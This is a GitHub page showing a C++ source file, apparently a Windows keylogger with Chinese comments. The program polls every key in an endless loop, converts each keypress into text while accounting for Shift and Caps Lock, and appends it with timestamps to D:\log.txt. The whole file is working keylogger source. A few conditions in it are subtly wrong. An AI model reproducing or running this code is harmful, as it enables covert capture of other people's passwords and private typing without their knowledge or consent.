-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathKeyboardRecoder.cpp
More file actions
379 lines (371 loc) · 8.03 KB
/
Copy pathKeyboardRecoder.cpp
File metadata and controls
379 lines (371 loc) · 8.03 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
#include <ctime>
using namespace std;
// 时间,结构体
struct Time{
int year;
int month;
int day;
int hour;
int minite;
};
// 将int类型数据转换成string类型
string intToString(int intData) {
char buf[5];
sprintf(buf,"%d",intData);
string s = buf;
return s;
}
Time getCurrentTime()
{
time_t timer;
time(&timer);
tm* t_tm = localtime(&timer);
//cout<<"today is "<<t_tm->tm_year+1900<<" "<<t_tm->tm_mon+1<<" "<<t_tm->tm_mday<<endl;
Time t;
t.year = t_tm->tm_year+1900;
t.month = t_tm->tm_mon+1;
t.day = t_tm->tm_mday;
t.hour = t_tm->tm_hour;
t.minite = t_tm->tm_min;
return t;
}
string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = "";
//判断符号输入
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键
if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:
if(IS)
KeyString = ":";
else
KeyString = ";";
break;
case 187:
if(IS)
KeyString = "+";
else
KeyString = "=";
break;
case 188:
if(IS)
KeyString = "<";
else
KeyString = ",";
break;
case 189:
if(IS)
KeyString = "_";
else
KeyString = "-";
break;
case 190:
if(IS)
KeyString = ">";
else
KeyString = ".";
break;
case 191:
if(IS)
KeyString = "?";
else
KeyString = "/";
break;
case 192:
if(IS)
KeyString = "~";
else
KeyString = "`";
break;
case 219:
if(IS)
KeyString = "{";
else
KeyString = "[";
break;
case 220:
if(IS)
KeyString = "|";
else
KeyString = "\\";
break;
case 221:
if(IS)
KeyString = "}";
else
KeyString = "]";
break;
case 222:
if(IS)
KeyString = '"';
else
KeyString = "'";
break;
}
}
//判断键盘的第一行
if (Key == VK_ESCAPE) // 退出
KeyString = "[Esc]";
else if (Key == VK_F1) // F1至F12
KeyString = "[F1]";
else if (Key == VK_F2)
KeyString = "[F2]";
else if (Key == VK_F3)
KeyString = "[F3]";
else if (Key == VK_F4)
KeyString = "[F4]";
else if (Key == VK_F5)
KeyString = "[F5]";
else if (Key == VK_F6)
KeyString = "[F6]";
else if (Key == VK_F7)
KeyString = "[F7]";
else if (Key == VK_F8)
KeyString = "[F8]";
else if (Key == VK_F9)
KeyString = "[F9]";
else if (Key == VK_F10)
KeyString = "[F10]";
else if (Key == VK_F11)
KeyString = "[F11]";
else if (Key == VK_F12)
KeyString = "[F12]";
else if (Key == VK_SNAPSHOT) // 打印屏幕
KeyString = "[PrScrn]";
else if (Key == VK_SCROLL) // 滚动锁定
KeyString = "[Scroll Lock]";
else if (Key == VK_PAUSE) // 暂停、中断
KeyString = "[Pause]";
else if (Key == VK_CAPITAL) // 大写锁定
KeyString = "[Caps Lock]";
//-------------------------------------//
//控制键
else if (Key == 8) //<- 回格键
KeyString = "[Backspace]";
else if (Key == VK_RETURN) // 回车键、换行
KeyString = "[Enter]\n";
else if (Key == VK_SPACE) // 空格
KeyString = " ";
//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,
//上档键和别的键组合,输出时有字符输出
/*
else if (Key == VK_LSHIFT) // 左侧上档键
KeyString = "[Shift]";
else if (Key == VK_LSHIFT) // 右侧上档键
KeyString = "[SHIFT]";
*/
/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/
else if (Key == VK_TAB) // 制表键
KeyString = "[Tab]";
else if (Key == VK_LCONTROL) // 左控制键
KeyString = "[Ctrl]";
else if (Key == VK_RCONTROL) // 右控制键
KeyString = "[CTRL]";
else if (Key == VK_LMENU) // 左换档键
KeyString = "[Alt]";
else if (Key == VK_LMENU) // 右换档键
KeyString = "[ALT]";
else if (Key == VK_LWIN) // 右 WINDOWS 键
KeyString = "[Win]";
else if (Key == VK_RWIN) // 右 WINDOWS 键
KeyString = "[WIN]";
else if (Key == VK_APPS) // 键盘上 右键
KeyString = "右键";
else if (Key == VK_INSERT) // 插入
KeyString = "[Insert]";
else if (Key == VK_DELETE) // 删除
KeyString = "[Delete]";
else if (Key == VK_HOME) // 起始
KeyString = "[Home]";
else if (Key == VK_END) // 结束
KeyString = "[End]";
else if (Key == VK_PRIOR) // 上一页
KeyString = "[PgUp]";
else if (Key == VK_NEXT) // 下一页
KeyString = "[PgDown]";
// 不常用的几个键:一般键盘没有
else if (Key == VK_CANCEL) // Cancel
KeyString = "[Cancel]";
else if (Key == VK_CLEAR) // Clear
KeyString = "[Clear]";
else if (Key == VK_SELECT) //Select
KeyString = "[Select]";
else if (Key == VK_PRINT) //Print
KeyString = "[Print]";
else if (Key == VK_EXECUTE) //Execute
KeyString = "[Execute]";
//----------------------------------------//
else if (Key == VK_LEFT) //上、下、左、右键
KeyString = "[←]";
else if (Key == VK_RIGHT)
KeyString = "[→]";
else if (Key == VK_UP)
KeyString = "[↑]";
else if (Key == VK_DOWN)
KeyString = "[↓]";
else if (Key == VK_NUMLOCK)//小键盘数码锁定
KeyString = "[NumLock]";
else if (Key == VK_ADD) // 加、减、乘、除
KeyString = "+";
else if (Key == VK_SUBTRACT)
KeyString = "-";
else if (Key == VK_MULTIPLY)
KeyString = "*";
else if (Key == VK_DIVIDE)
KeyString = "/";
else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .
KeyString = ".";
//小键盘数字键:0-9
else if (Key == VK_NUMPAD0)
KeyString = "0";
else if (Key == VK_NUMPAD1)
KeyString = "1";
else if (Key == VK_NUMPAD2)
KeyString = "2";
else if (Key == VK_NUMPAD3)
KeyString = "3";
else if (Key == VK_NUMPAD4)
KeyString = "4";
else if (Key == VK_NUMPAD5)
KeyString = "5";
else if (Key == VK_NUMPAD6)
KeyString = "6";
else if (Key == VK_NUMPAD7)
KeyString = "7";
else if (Key == VK_NUMPAD8)
KeyString = "8";
else if (Key == VK_NUMPAD9)
KeyString = "9";
//-------------------------------------------//
//-------------------------------------------//
//*对字母的大小写进行判断*//
else if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) //Shift按下:为小写字母
KeyString = Key;
else // 只有大写锁定:输出大写字母
KeyString = Key - 32;
}
else// 大写没有锁定
{
if(IS) // 按下Shift键: 大写字母
KeyString = Key - 32;
else // 没有按Shift键: 小写字母
KeyString = Key;
}
}
else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48: //0
KeyString = ")";
break;
case 49://1
KeyString = "!";
break;
case 50://2
KeyString = "@";
break;
case 51://3
KeyString = "#";
break;
case 52://4
KeyString = "$";
break;
case 53://5
KeyString = "%";
break;
case 54://6
KeyString = "^";
break;
case 55://7
KeyString = "&";
break;
case 56://8
KeyString = "*";
break;
case 57://9
KeyString = "(";
break;
}
}
else
KeyString = Key;
}
if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z
{
if(IS) // 大写锁定,并且按下上档键:输出为小写字母
KeyString = Key + 32;
else //只有大写锁定:输出为大写字母
KeyString = Key;
}
else // 大写没有锁定:a-z
{
if(IS)
{
KeyString = Key;
}
else
{
Key = Key + 32;
KeyString = Key;
}
}
}
}
return KeyString;
}
int main()
{
string FilePath = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下
string TempString = "";
fstream FStream;
FStream.open(FilePath.c_str(), std::fstream::out | std::fstream::app);
Time t = getCurrentTime();
string startAt;
startAt.append("\n--------------- 开始记录时间:").append( intToString(t.year).c_str() )
.append("-").append( intToString(t.month).c_str() )
.append("-").append( intToString(t.day).c_str() )
.append(" * ").append( intToString(t.hour).c_str() )
.append(":").append( intToString(t.minite).c_str() )
.append(" ---------------\n\n");
FStream.write(startAt.c_str(), startAt.size());
//此处关闭文件又打开文件主要原因是写文件的时候存在缓冲问题,缓冲区未满则不会将内容写到文件,除非对文件进行关闭操作。
FStream.close();
FStream.open(FilePath.c_str(), std::fstream::out | std::fstream::app);
while(true)
{
Sleep(5);
// 对所有的键进行遍历,找到被按下的键
for(int key = 8; key <=255; key++)
{
if(GetAsyncKeyState(key)&1 ==1) // 判断key值对应的键当前状态
{
TempString = GetKey(key);
FStream.write(TempString.c_str(), TempString.size());
FStream.close();
FStream.open(FilePath.c_str(), std::fstream::out | std::fstream::app);
}
}
}
return 0;
}